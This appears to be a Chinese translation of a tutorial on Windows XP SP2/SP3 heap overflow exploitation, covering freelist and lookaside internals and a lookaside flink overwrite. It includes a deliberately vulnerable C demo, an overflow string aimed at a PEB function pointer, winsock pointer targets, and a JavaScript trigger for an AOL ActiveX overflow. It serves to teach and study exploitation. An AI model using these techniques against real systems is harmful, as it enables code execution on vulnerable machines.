<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/1714

            0x00 背景


            開頭我討論了在舊版本Windows下利用堆溢出的技術,試著給讀者提供一些關于unlink過程是怎樣執行的、以及freelist[n]里面的flink/blink是如何被攻擊者控制并提供簡單的任意“4字節寫”操作 的 實用的知識。

            本文的主要目的是重新提醒自己(我很健忘)并且幫助安全專家獲取對老版本windows(NT v5 及以下)堆管理器如何工作 技術上的理解。本文完成的是利用堆溢出或者內存覆寫漏洞 并且繞過特定的防止“4字節寫”的混合措施。本文的目的還有讓讀者掌握基礎的知識 其毫無疑問地在攻擊新版本windows堆實現方式時被用到。

            這個教程將會從細節上討論一個并且僅討論一個 為人熟知的針對特定程序繞過Windows XP SP2/SP3堆保護機制的技術。因此,這并不是一個完善的入門書,它也不會涉及到堆的每一個方面。

            繼續之前,需要對windows XP/Server 2003下堆的構造有比較全面地理解。為了本教程本身的目的,以及基于文章Heap Overflow for Humans 101的反饋,我將會討論一些在當前環境 堆內部如何工作的話題。

            如果在基礎層面你對基于堆的緩沖區溢出不熟悉,那么建議你先把注意力放在這個地方。為了繼續你需要:

            ?   Windows XP 僅安裝SP1
            ?   Windows XP 僅安裝SP2/SP3
            ?   一個調試器 (Olly Debugger, Immunity Debugger, windbg with access to the ms symbol server etc).
            ?   一個C/C++編譯器 (Dev C++, lcc-32, MS visual C++ 6.0 (如果你還能找到它)).
            ?   隨意一種腳本語言 (我用的python,也許你可以用perl)
            ?   A brain (and/or persistance).
            ?   一個大腦 (和/或 毅力)
            ?   一些匯編和C的知識,以及如何用調試器 調試的知識
            ?   OD的插件HideDbg或者 !hidedebug under immunity debugger
            ?   時間
            

            拿杯咖啡然后我們一起來調查這種黑暗藝術。

            所以到底什么是chunk和block?

            Chunk是一種簡單的用block衡量的連續內存 并且其特定的狀態取決于特定的堆chunk header中flag的設定。Block是簡單的一塊8字節堆空間。一般地我們關心一個chunk是被分配過還是被free掉了。在本文中為了方便敘述,這些名詞都會以這種含義使用。

            不管怎么說,所有的chunk都存儲在堆中。額外地,堆chunk也許會出現在堆結構的其他位置并且取決于其位置會有不同的chunk結構。

            讓我們通過討論堆結構本身以及三個非常重要的堆中chunk存儲結構開始吧。

            0x01 堆的結構


            默認情況下,Windows有一個特定的結構供堆參考。在PEB中的0x90偏移,你可以看到 從堆創建位置起 以有序數組結構展現的 對應進程的堆列表 使用Windbg我們可以通過!peb命令找到目前的PEB。如果你是Immunity Debugger的用戶,你也可以通過!peb命令觀看這條信息,!peb提供的非常簡單的代碼如下所示:

            #!cpp
            from immlib import *
            def main(args):
                    imm = Debugger()
                    peb_address = imm.getPEBAddress()
                    info = 'PEB: 0x%08x' % peb_address
                    return info
            

            我們一進入PEB就能看到進程的堆信息:

            +0x090 ProcessHeaps : 0x7c97ffe0 -> 0x00240000 Void 
            

            所以讓我們在這個地址0x7c97ffe0 dump DWORD(4字節)

            0:000> dd 7c97ffe0 
            7c97ffe0 00240000 00340000 00350000 003e0000 
            7c97fff0 00480000 00000000 00000000 00000000 
            7c980000 00000000 00000000 00000000 00000000 
            7c980010 00000000 00000000 00000000 00000000 
            7c980020 02c402c2 00020498 00000001 7c9b2000 
            7c980030 7ffd2de6 00000000 00000005 00000001 
            7c980040 fffff89c 00000000 003a0043 0057005c 
            7c980050 004e0049 004f0044 00530057 0073005c 
            

            加粗字體的地址就是目前在運行進程的堆。這條信息也可以在windbg和Immunity Debugger中通過使用!heap命令找到

            額外地,你可以通過windbg中的!heap –stat命令觀看每個堆的靜態信息。下面是示例回顯:

            _HEAP 00030000 
            Segments 00000002 
            Reserved bytes 00110000 
            Committed bytes 00014000 
            VirtAllocBlocks 00000000 
            VirtAlloc bytes 00000000 
            

            最終,你可以通過使用-h和-q標簽dump一些堆的元數據

            第一個堆(0x00240000)是默認的堆,其他堆都是由C組件及構造方法創建的,而回顯中最后的堆(0x00480000)是被我們的程序創建的。

            程序可能會調用形如HeapCreate()的函數來創建額外的堆并且把指針存儲在PEB中0x90偏移量中,下例展示了HeapCreate()的Windows API

            #!cpp
            HANDLE WINAPI HeapCreate(
             __in DWORD flOptions,
             __in SIZE_T dwInitialSize,
             __in SIZE_T dwMaximumSize
             );
            

            一個帶有正確參數的HeapCreate()調用將會返回一個存儲在EAX寄存器中指向新創建的堆的指針

            參數如下所示:

            1. flOptions

              ? HEAP_CREATE_ENABLE_EXECUTE: 允許執行代碼 ? HEAP_GENERATE_EXCEPTIONS:當調用HeapAlloc() 或者 HeapReAlloc()時無法滿足需求情況下拋出一個異常 ? HEAP_NO_SERIALIZE:當堆函數訪問堆時不使用序列化方式

            2. dwInitialSize

            為堆分配的初始大小是最近的頁表大小(4K)。如果指定為0,那么就給堆設置了一個單頁大小。這個值必須比dwMaximumSize小

            1. dwMaximumSize

            堆的最大大小。如果對HeapAlloc() 或者 HeapReAlloc()的請求超出了dwinitialSize的值,那么虛擬內存管理器將會返回 能夠滿足分配請求的內存頁表 并且剩下的內存會被存儲到freelist中

            如果dwMaximumSize為0,堆大小能夠自動增加。堆的大小只被可用內存限制

            更多關于flag的信息可以查閱msdn。下面是一張重點區域高亮顯示的堆結構表。你可以在windbg下使用命令'dt _heap'來查看此條信息。

            Address

            Value

            Description

            0x00360000?

            0x00360000?

            Base Address?

            0x0036000C?

            0x00000002?

            Flags?

            0x00360010?

            0x00000000?

            ForceFlags?

            0x00360014?

            0x0000FE00?

            VirtualMemoryThreshold?

            0x00360050

            0x00360050

            VirtualAllocatedBlocks List

            0x00360158

            0x00000000

            FreeList Bitmap

            0x00360178

            0x00361E90

            FreeList[0]

            0x00360180

            0x00360180

            FreeList[n]

            0x00360578?

            0x00360608?

            HeapLockSection?

            0x0036057C?

            0x00000000?

            Commit Routine Pointer?

            0x00360580?

            0x00360688?

            FrontEndHeap?

            0x00360586?

            0x00000001

            FrontEndHeapType?

            0x00360678?

            0x00361E88?

            Last Free Chunk?

            0x00360688

            0x00000000

            Lookaside[n]

            0x02 堆 segments:


            正如之前所提到的,每個堆chunk都被存儲在堆segment里面。如果一塊內存chunk被free了,它除了將會被加入freelist或者lookaside list之外還會被存儲到堆segment里。當分配空間時,如果堆管理器在lookaside或者freelist里找不到任何的空閑chunk,它就會從未分配內存中提供更多的內存給當前的堆segment。如果大量內存被分配到很多地方,堆的結構可以擁有許多segment。下面顯示的是segment chunk結構表:

            Header

            Self Size (0x2)

            Prev Size (0x2)?

            Segment index (0x1)?

            Flag (0x1)?

            Unused (0x1)?

            Tag index (0x1)?

            Data

            ? ? ? ? ? ?

            在分析堆segment時,我們可以通過在windbg中使用'!heap -a [heap address]'命令完成

            額外地,你可以在immunity debugger中使用 '!heap -h [heap address] -c'(選項-c 顯示chunk)

            每個segment在數據chunk后面包含了它自己的元數據。下面是segment分配的內存,并且最終這個segment包含了一個未分配內存的部分。現在我們清楚了我們想要分析的segment,我們可以使用命令'dt _heap_segment [segment address]'來dump元數據結構。

            下面是一個詳細的元數據結構表單。為簡單起見,我們將設定從地址0x00480000開始。

            Address

            Value

            Description

            0x00480008?

            0xffeeffee?

            Signature?

            0x0048000C?

            0x00000000

            Flags?

            0x00480010?

            0x00480000?

            Heap?

            0x00480014?

            0x0003d000?

            LargeUncommitedRange?

            0x00480018?

            0x00480000?

            BaseAddress?

            0x0048001c?

            0x00000040?

            NumberOfPages?

            0x00480020?

            0x00480680?

            FirstEntry?

            0x00480024?

            0x004c0000?

            LastValidEntry?

            0x00480028?

            0x0000003d?

            NumberOfUncommitedPages

            0x0048002c?

            0x00000001?

            NumberOfUncommitedRanges?

            0x00480030?

            0x00480588?

            UnCommitedRanges?

            0x00480034?

            0x00000000?

            AllocatorBackTraceIndex?

            0x00480036?

            0x00000000?

            Reserved?

            0x00480038?

            0x00381eb8?

            LastEntryInSegment?

            在一個segment中重要的信息是第一個chunk。單這條信息就可以用來"遍歷"segment,如是你可以簡單地 通過知道大小及間隔 顯示chunk并且下一個chunk

            0x03 后端分配器 - Freelist:


            在堆結構的0x178偏移量上,我們可以看到FreeList[]數組的開頭。這個FreeList包含了一個雙向鏈接的chunk list。他們通過既有flink又有blink的方式來雙向鏈接。

            上面的圖表顯示了freelist包含著范圍在0-128的堆chunk索引數組。任意chunk的大小在0和1016之間(之所以是1016是因為最大1024減去8字節的元數據)并存儲在[它們的分配大小]*8位置。舉例來說,我有一個40字節大小的chunk來free,那么我將會把這個chunk放在freelist中index為4的位置(40/8)

            譯者注:40/8=5 ;0,1,2,3,4 所以放在4

            如果一個chunk的大小超過了1016(127*8)個字節,那么它將會以數值大小順序被存儲在freelist[0]條目中。下面是關于freelist chunk的描述

            Headers

            Self Size (0x2)?

            Prev Size (0x2)

            Segment index (0x1)?

            Flag (0x1)?

            Unused (0x1)?

            Tag index (0x1)?

            flink/blink

            Flink (0x4)?

            Blink (0x4)?

            Data

            ?

            Freelist Mitigations:

            微軟發布了一些mitigation來防止對于freelist條目的unlink攻擊,下面是一段對mitigation簡短的描述。

            對freelist的Safe unlinking:

            Safe unlinking 是被微軟在Windows XP sp2及以后實現的一種保護機制。本質上它是一種防范被攻擊利用[之前在Heap Overflows for Humans 101里提及的4字節寫]的技術。在這種檢測之下,之前的chunk 'flink'指針指向我們分配的chunk并且臨近的chunk指向我們分配的chunk。下面是對于對應的安全機制的描述圖表

            Freelist chunk 1[flink] == Freelist chunk 2 && Freelist chunk 3[blink] ==Freelist chunk 2

            紅線是檢查發生的地方

            如果任何檢查未通過,那么就jump到ntdll.dll的0x7c936934,正如你所見這幾乎與我們傳統的unlink相同除了我們加入了檢查flink/blink的代碼

            Freelist header cookies:

            對于Windows XP sp2的介紹中可見一個隨機的堆cookie位于chunk header中的0x5偏移。。只有freelist chunks有這些cookie檢查。下面是一張加亮了安全cookie的關于堆chunk的圖片。這是一條隨機單字節條目,這樣有最大256種可能的值。記住你在一個多線程的環境下也許能夠暴力窮舉這個值。

            0x04 前端分配器-Lookaside:


            Lookaside list是一個用來存儲小于1016字節堆chunks的單鏈表。Lookaside體現的理念是加速并且查找起來更快。這是因為程序在進程的執行生命期內多次執行HeapAlloc() 和 HeapFree()。因為它是為速度和效率設計的,所以它允許了每個條目不多于3個的空閑chunk。如果HeapFree()在一個chunk上調用并且已經有了3個條目的特定chunk大小,那么它就會被free到Freelist[n]

            堆的chunk大小總計是 實際分配大小+用來header的額外的8字節。所以如果如果為16字節做分配,那么就會在lookaside list里面掃描24字節(16+chunk header)大小的chunk。在下圖的情況下,windows堆管理器會成功并且在lookaside list中index 2找到一個可用的chunk。

            Lookaside list 僅包含了一個flink指針指向下一個可用的chunk(用戶數據)

            Headers

            Self Size (0x2)?

            Prev Size (0x2)

            Cookie (0x1)?

            Flags (0x1)?

            Unused (0x1)?

            Segment index (0x1)?

            flink/blink

            Flink (0x4)?

            ? ? ? ?

            Data

            ?


            當windows堆管理器接收到一個分配的請求,它會去尋找一個空閑的堆內存chunk來滿足這個請求。

            為了最優化以及速度,windows堆管理器將會首先進去lookaside list中(取決于它的單鏈表結構)并且試著去尋找一個空閑的chunk。如果這里沒有找到chunk,windows堆管理器將會遍歷freelist(在 freelist1-freelist[127]之間)。如果沒有找到任何chunk那么它將會遍歷freelist[0]條目尋找更大的chunk然后分割chunk。一部分將會被返回到堆管理器并且剩下的將會返回到freelist[n] (n是基于剩下字節數的序號)。這就帶領我們去往下一個章節,堆的操作。

            0x05 堆操作基礎:


            Chunk分割

            Chunk分割指的是在為尋找大小合適的chunk并將其分解成更小的chunk時訪問freelist[n]的過程。當freelist中獲取到的一個chunk比請求分配的大小要大時,這個chunk將會被對半分開來滿足請求的分配大小。

            假設在freelist[0]是一個單獨的2048字節的chunk。如果請求的分配大小是1024字節(包括了header),那么這個chunk會被分割并且有1024字節大小的chunk放回了freelist[0] 同時返回新分配的1024字節的chunk給調用者。

            Heap Coalescing:

            堆的合并:

            堆的合并指的是將兩塊可用的chunk堆內存合并的動作,當中間的chunk也被free了時。

            堆管理器要這樣做的原因是對segment內存實行高效使用。當然,這也權衡了當chunk被釋放時的效率。堆的合并是非常重要的操作因為多個chunk可以被加在一起(如果可用)并且之后可以被用于更大大小需求的分配。如果沒有這個過程,那么在堆segment中浪費的chunk就會出現并且成為碎片。

            0x06 繞過Windows XP sp2/3 安全機制的技術:


            覆寫lookaside中的一個chunk

            這個技術是最通用的繞過堆cookie以及safe unlinking檢查的方法。同時(譯者注:原文為whist,想必作者原意whilst打錯了)這是一個針對程序的達成簡單的"4字節寫"的技術,一些程序可能允許你決定堆的布局以穩定exploit利用。既然在lookaside list中沒有safe unlinking 或者 cookie檢查,一個攻擊者可以覆寫 包含在臨近lookaside條目中 的'flink'的值 并且通過HeapAlloc() 或者 HeapFree()調用返回那個指針 之后在下一個可用chunk中寫入惡意代碼。

            讓我們從視覺上感受它是怎樣工作的,深呼吸。

            1. 我們通過在當前segment中分配chunk A開始

            1. 下一步我們在相同segment分配另一個chunk B

            1. 現在我們free chunk B 去向lookaside list,那么有兩個條目存在,一個在segment而另一個在lookaside list。.

            1. 現在我們溢出chunk A(會在以后溢出到chunk B中并且覆寫其flink)。這是將會被覆寫的元數據.

            1. 現在我們重新再一次分配B(通過分配一個和B相同大小的chunk如第二步)。這會返回chunk B的指針并且更新其在當前堆segment中的引用并且準備好下一次的分配。現在chunk B 中的flink已經更新成攻擊者通過溢出A而控制的任意地址。

            2. 現在我們通過分配chunk C 獲取控制。它將會是在chunk B之后的下一個可用chunk并且通過chunk B 的已經控制的flink 被指向了。攻擊者在chunk C 填入他們的shellcode

            當這些步驟全部完成,我們現在控制了一個覆寫的函數指針,其將會理想地在我們的"4字節寫"之后被調用。下面是我們將會說明的C代碼:

            #!cpp
            /*
                    Overwriting a chunk on the lookaside example
            */
            #include <stdio.h>
            #include <windows.h>
            int main(int argc,char *argv[])
            {
                    char *a,*b,*c;
                    long *hHeap;
                    char buf[10];
            
                    printf("----------------------------\n");
                    printf("Overwrite a chunk on the lookaside\n");
                    printf("Heap demonstration\n");
                    printf("----------------------------\n");
            
                    // create the heap
                    hHeap = HeapCreate(0x00040000,0,0);
                    printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
                    printf("(+) Allocating chunk A\n");
            
                    // allocate the first chunk of size N (<0x3F8 bytes)
                    a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    printf("(+) Allocating chunk B\n");
            
                    // allocate the second chunk of size N (<0x3F8 bytes)
                    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
            
                    printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
                    printf("(+) Freeing chunk B to the lookaside\n");
            
                    // Freeing of chunk B: the chunk gets referenced to the lookaside list
                    HeapFree(hHeap,0,b);
            
                    // set software bp
                    __asm__("int $0x3");
            
                    printf("(+) Now overflow chunk A:\n");
            
                    // The overflow occurs in chunk A: we can manipulate chunk B's Flink
                    // PEB lock routine for testing purposes
                    // 16 bytes for size, 8 bytes for header and 4 bytes for the flink
            
                    // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
                    // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
            
                    gets(a);
            
                    // set software bp
                    __asm__("int $0x3");
            
                    printf("(+) Allocating chunk B\n");
            
                    // A chunk of block size N is allocated (C). Our fake pointer is returned
                    // from the lookaside list.
                    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
                    printf("(+) Allocating chunk C\n");
            
                    // set software bp
                        __asm__("int $0x3");
            
                    // A second chunk of size N is allocated: our fake pointer is returned
                    c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
            
                    printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
            
                    // A copy operation from a controlled input to this buffer occurs: these
                    // bytes are written to our chosen location
                    // insert shellcode here
                gets(c);
            
                    // set software bp
                        __asm__("int $0x3");
            
                    exit(0);
             }
            

            我們之所以有好多asm("int $0x3");指令是為了在調試器中設置軟件斷點來暫停程序執行。其他選擇的話,你也可以在調試器中打開編譯后的二進制文件然后再每個call下斷點。在dev c++(it uses AT&T in-line assembly compiling with gcc.exe)中編譯代碼。當代碼在調試器中執行觸發第一個斷點時讓我們來看一下。

            我們可以看到在segment 0x00480000有兩個已分配的chunk大小為0x18.如果我們減去0x8字節我們還剩0x10即16個字節。讓我們來看一看lookaside并且觀察我們是否把chunk B free過去了

            太棒了!所以我們可以在lookaside看到我們的chunk(差8字節指到header)。這個chunk被free到這個位置取決于其大小< 1016并且目前在lookaside中有<= 3 chunk 指定那個chunk size。

            為了進一步確認,讓我們看一眼freelist并且觀察發生了什么

            好的 那么它看上去很直接,除了 一些在freelist[0]在創建segment時正常的一些分配外 沒有其他條目。繼續,我們用一些0x41溢出chunk A到臨近的chunk header。使用同樣的數據,我們將用0x44溢出臨近chunk的flink.

            太棒了 我們可以看到我們分配的0x00481ea8-0x8(chunk B)已經被攻擊者的輸入覆寫了。我們也可以看到lookaside條目包含著0x4444443c這個值,如果我們把這個值加上0x8字節就會是0x44444444即我們使用的確切值!因此在這一點上你可以理解你是怎樣控制chunk B 的flink的 :)

            一旦執行與chunk B(0x00481ea8-0x8)大小相同的分配,chunk B 的條目將被從lookaside3移除并且返回給調用者。注意額外的,header也同樣被完全控制了。

            所以如果我們仔細看看chunk A(0x00481e88)我們可以看到這個chunk正在被使用因為flag設置成0x1(表示它狀態busy)。下一個在(0x00481ea0)的chunk目前還沒有被更新因為其仍然被free到lookaside中。

            這時候,代碼將會在READ操作上違反訪問規則。當使用這種技術攻擊一個程序時,我們會把0x44444444用一個函數指針替換(虛假flink)。現在,當堆管理器創建了下一個分配的chunk,該程序將會在虛假指針處寫入。我們現在會分配chunk C并且用任意shellcode填充buffer。這里的這個想法是讓我們的函數指針在程序崩潰之前被調用(或者因為崩潰而調用)。我沒在Heap Overflow for Humans 101中提到的一個非常聰明的技巧是 攻擊者可以利用PEB全局函數指針(僅在XP SP1 之前)。但是在windows XP SP2 及更高版本,這些地址指針都是隨機的。讓我們來看看這個,在把二進制文件裝載進調試器時我們首先看到:

            我們再做一遍:

            注意以上兩個PEB指針是不同的。當觸發一個異常時,異常處理器大致將調用ExitProcess(),其又會調用RtlAcquirePebLock()。這項操作管理的是在處理異常期間不許修改peb 并且當處理器結束運作,它將會通過調用RtlReleasePebLock()釋放lock。另外,在這些函數中使用的指針并不是W^X保護的而這意味著我們可以在那個內存區域寫入并且運行。這些函數每一個都利用了靜態指針與固定的相對的peb的偏移量。下面是RtlAcquirePebLock()函數并且正如你所見,FS:18 (peb)被移進了EAX。接著,全局函數指針被存儲在0x30偏移量的地方。而將會被調用的函數'FastPebLockRoutine()'位于0x24偏移量位置。

            7C91040D > 6A 18            PUSH 18
            7C91040F   68 4004917C      PUSH ntdll.7C910440
            7C910414   E8 B2E4FFFF      CALL ntdll.7C90E8CB
            7C910419   64:A1 18000000   MOV EAX,DWORD PTR FS:[18]
            7C91041F   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]
            7C910422   8945 E0          MOV DWORD PTR SS:[EBP-20],EAX
            7C910425   8B48 20          MOV ECX,DWORD PTR DS:[EAX+20]
            7C910428   894D E4          MOV DWORD PTR SS:[EBP-1C],ECX
            7C91042B   8365 FC 00       AND DWORD PTR SS:[EBP-4],0
            7C91042F   FF70 1C          PUSH DWORD PTR DS:[EAX+1C]
            7C910432   FF55 E4          CALL DWORD PTR SS:[EBP-1C]
            7C910435   834D FC FF       OR DWORD PTR SS:[EBP-4],FFFFFFFF
            7C910439   E8 C8E4FFFF      CALL ntdll.7C90E906
            7C91043E   C3               RETN
            

            下面我們可以看到函數RtlReleasePebLock()直接在PEB中的全局偏移數組0x24偏移量位置調用了函數指針'FastpebUnlockRoutine()'

            7C910451 > 64:A1 18000000   MOV EAX,DWORD PTR FS:[18]
            7C910457   8B40 30          MOV EAX,DWORD PTR DS:[EAX+30]
            7C91045A   FF70 1C          PUSH DWORD PTR DS:[EAX+1C]
            7C91045D   FF50 24          CALL DWORD PTR DS:[EAX+24]
            7C910460   C3               RETN
            

            所以當RtlAcquirePebLock() 和 RtlReleasePebLock()過程在有異常發生時被調用,這代碼將會無限的觸發異常并且執行你的代碼。不過你可以通過執行完shellcode然后修改指針地址到exit()修補peb來實現。

            當前進程的線程數越多,隨機化的強度就越弱(隨機地址將被用于多個PEB)并且我們將能夠"猜解"當前PEB的地址。不過由于我們沒有一個可靠的函數指針以供我們做簡單的"4字節"覆寫(一個通用函數指針)

            有時一個程序可能會既在異常發生前又在另一個windows library函數指針被調用時使用一個自定義的函數指針 并且這就可以用我們的代碼覆寫那個指針并且執行shellcode。

            特定指針攻擊利用:

            為了展示的目的,我將會演示通過固定的PEB全局函數指針在windows XP SP1覆寫一個lookside的chunk。FastPEBLockRoutine()的地址為0x7ffdf020。現在簡單地從注釋中恢復下面這行

            // strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f"); 
            

            然后把下面這行注釋掉

            gets(a); 
            

            所以現在我們將會溢出chunk A X's并且溢出AAAA和BBBB進入chunk B的元數據并且最終使用0x7ffdf020覆寫chunk B的flink。重新編譯并且裝入調試器。現在當我們分配chunk C(指向0x7ffdf020)時,我們可以用shellcode填充這個chunk并且當觸發異常時將會被調用。下面我們可以看到如下代碼設置PEB地址到EAX并且直接call調用0x20偏移量(FastPEBLockRoutine())把執行權轉交到我們的代碼。

            現在我們對EIP擁有了直接的控制并且可以利用它返回到代碼中。在這里不考慮繞過DEP以及執行代碼。

            程序特定指針攻擊利用:

            除非我提供一個在Windows XP SP3下使用程序特定指針利用該漏洞的例子,否則這篇文章不會完美結束。當目標針對一個包含了堆溢出的軟件時,任何出現在溢出之后的硬編碼可寫可運行的函數調用都應該被針對并利用。

            舉例來說,winsock的WSACleanup(),它在XP SP3下包含了一個位于0x71ab400a的硬編碼函數調用。這也可以成為我們用于往內存中寫shellcode的地址。那樣的話當WSACleanup()(或者許多其它winsock函數)執行時,它會重定向回shellcode。下面是對于WSACleanup()反匯編并且尋找硬編碼函數調用:

            幾乎所有windows下面的網絡程序都喜歡使用從winsock導出的函數調用并且特別是(原文是spefcially,想必是specially打錯了)WSACleanup()用來清理任何socket連接,并且這些多數在溢出后肯定會被調用。因此,使用這個函數指針(0x71ac4050)來覆寫 看上去運行時始終一致(原文consistantly,想必是consistently打錯了)。另一個例子顯示,recv()函數也包含了一個相同函數的調用。

            如果我們跟蹤0x71ab678f函數調用,我們可以看到我們到了這里

            你知道了什么?另一個順下來對0x71ac4050的調用,為了確保這個會成功,讓我們看看這段內存的訪問權限。

            這種技術的基本難題是 因為你將會覆寫那個區域,所以任何使用了winsock的shellcode(幾乎所有我用的shellcode)都會失效。一種解決這難題的辦法是再次把0x71ac4050恢復到原來的代碼這樣winsock就能工作了

            程序特定指針攻擊利用例子:

            我提供了一個有漏洞的服務器程序(多數代碼來自在infosec institute的Stephen Bradshaws blog,所有的贊賞歸他)并且如是調整使其包括了堆溢出以及內存泄露。

            構造一個'PoC'利用的思路是 通過正確的方式觸發并且列出堆棧內容這樣你就可以覆寫一個在lookaside的chunk然后達到代碼執行。下載this文件并且在windows xp sp3下運行然后嘗試我在這里提供的例子來幫助你抓住這個技術的知識要點。我已經決定不提供這個的源代碼這樣人們必須做一些你想工作來尋找正確堆棧布局然后達到命令執行。作為一個提示(希望不是很透),這里有一張'PoC'通過確定堆布局工作的截圖

            當然,任何情況下只要你能弄清堆內存的布局都很好。一個列出目標進程的堆的更簡單的目標是穩妥地利用客戶端。隨著能夠編寫和控制堆的布局,你一定能夠構造一個通過堆溢出攻擊利用的場景。一個例子是利用Alex Soritov的heaplib.js來協助分配,釋放以及在堆內存中實行其他字符串操作。如果使用MSHTML在相同堆中利用javascript或者DHTML來分配或者釋放chunk,那么你就可以控制堆管理器并且你可以在瀏覽器中通過堆溢出轉交執行控制。

            對AOL 9.5 (CDDBControl.dll) ActiveX堆溢出的分析:

            我決定看一下這個漏洞并且判斷其在windows xp sp3下的可利用程度。盡管control被標記為腳本或初始化不安全,我覺得漏洞分析起來還是很有意思的。我本來不想添加這一小節,但是sinn3r問到了,所以我決定加進去 :)現在由于它在ActiveX控制下,一種觸發的方式為通過使用一種可選的腳本語言在IE瀏覽器觸發。我決定使用JavaScript因為其可延展性并且heapLib.js被含在里面。我使用的環境如下所示:

            1.  IE 6/7 
            2.  XP SP3 
            3.  heapLib.js 
            

            所以讓歡樂開始吧!首先我觸發了exploit-db上的Hellcode Research寫的PoC。讓我們來分析程序的crash

            我們在這里可以看到當前堆的segment實際上用光了未分配內存并且無法為那個堆segment提供更多的內存。

            然后我們來看一下:

            我們用光了堆segment并且沒有能力創建一個新的segment。所以我們該怎么辦?好吧我們知道我們必須觸發一個unlink操作。為了那樣做,我們需要windows堆管理器復制所有的數據進入分配的buffer(覆寫其它的chunk)但是不丟失當前的segment。那么當下一此分配或者free被觸發,它會試著去unlink。我修改了poc去只用2240字節代替4000字節來觸發溢出

            #!cpp
            var x = unescape("%41"); 
            while (x.length<2240) x += x; 
            x = x.substring(0,2240); 
            target.BindToFile(x,1); 
            

            現在當我們觸發這一漏洞時,我們實際上并沒有讓瀏覽器崩潰。當然chunk已經溢出了,但是直到再有一個其他的unlink操作 它不會崩潰。但是當關閉瀏覽器時,垃圾搜集器啟動并且分配所有已經free的chunk并且如是多個對RtlAllocateHeap()的調用 然后漏洞被觸發。這次事情看上去更實際了。

            #!bash
            (384c.16e0): Access violation - code c0000005 (first chance)
            First chance exceptions are reported before any exception handling.
            This exception may be expected and handled.
            eax=41414141 ebx=02270000 ecx=02273f28 edx=02270178 esi=02273f20 edi=41414141
            eip=7c9111de esp=0013e544 ebp=0013e764 iopl=0         nv up ei pl nz na po nc
            cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
            ntdll!RtlAllocateHeap+0x567:
            7c9111de 8b10            mov     edx,dword ptr [eax]  ds:0023:41414141=????????
            

            太棒了,所以我們有了一個潛在的攻擊利用條件。在這種情況下,flink就是EAX然后blink就是EDI.帶XP sp 0-1和以下版本,我們可以簡單地實行一次簡單的UEF函數覆寫并且獲取控制。但是我們已經能夠通過瀏覽器強大的腳本能力給堆"按摩(原文massage,但我總覺得像是message,呵呵)"這樣我們將會試著在xp sp3下對付這個漏洞。在分析堆的布局時,我快速地注意到Active X control實際上在運行時創建了它自己的堆并且crash是在freelist insert時被觸發的

            當使用heaplib.js庫時,我可以成功地操作堆,那就是說,默認的進程堆不是 active X controls的堆。在這一點上,我大致可以說在Windows XP SP3及以上版本看上去不能利用,當然這可能是糟糕的誤解但是就目前我可以說,如果對象的堆無法被操作,那么它就不能被利用。

            Hooking 鉤子:

            一個非常有用的提示是 知道當調試具有堆溢出的程序時調的是分配與free的數量以及它們的大小。在一個進程/線程的生命周期里,許多分配與free被執行并且確實對它們都下斷點非常耗時。一件對immunity debugger不錯的事情是你可以使用!hookheap插件來hook RtlAllocateHeap() 和 RtlFreeHeap()并且這樣你就可以找到所有在特定操作中執行的 分配和free 的大小和數量

            正如你所見,一個特別的分配露了出來,一次大量字節的分配看上去像是對目標漏洞服務器的請求。

            0x07 結語


            堆管理器對于去理解、去利用堆溢出非常復雜 因為每個情況都有不同所以需要許多小時的分析。理解目標程序的當前上下文環境以及其中的限制是發掘一個堆溢出可利用性的關鍵。被微軟強制的mitigation保護 基礎地防護了大多數的堆溢出,不過時不時地我們看到特定程序條件被攻擊者利用的情況發生

            References:

            1. http://windbg.info/doc/1-common-cmds.html
            2. http://www.insomniasec.com/publications/Heaps_About_Heaps.ppt
            3. http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2 Heap Exploitation.ppt
            4. some small aspects from: http://illmatics.com/Understanding_the_LFH.pdf
            5. http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt
            6. http://www.insomniasec.com/publications/Exploiting_Freelist[0]_On_XPSP2.zip
            7. http://www.insomniasec.com/publications/DEPinDepth.ppt (heap segment information)
            8. Advanced windows Debugging (Mario Hewardt)
            9. www.ptsecurity.com/download/defeating-xpsp2-heap-protection.pdf
            10. http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html
            11. http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt
            12. Understanding and bypassing Windows Heap Protection by Nicolas Waisman (2007)
            13. http://kkamagui.springnote.com/pages/1350732/attachments/579350

            ?

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线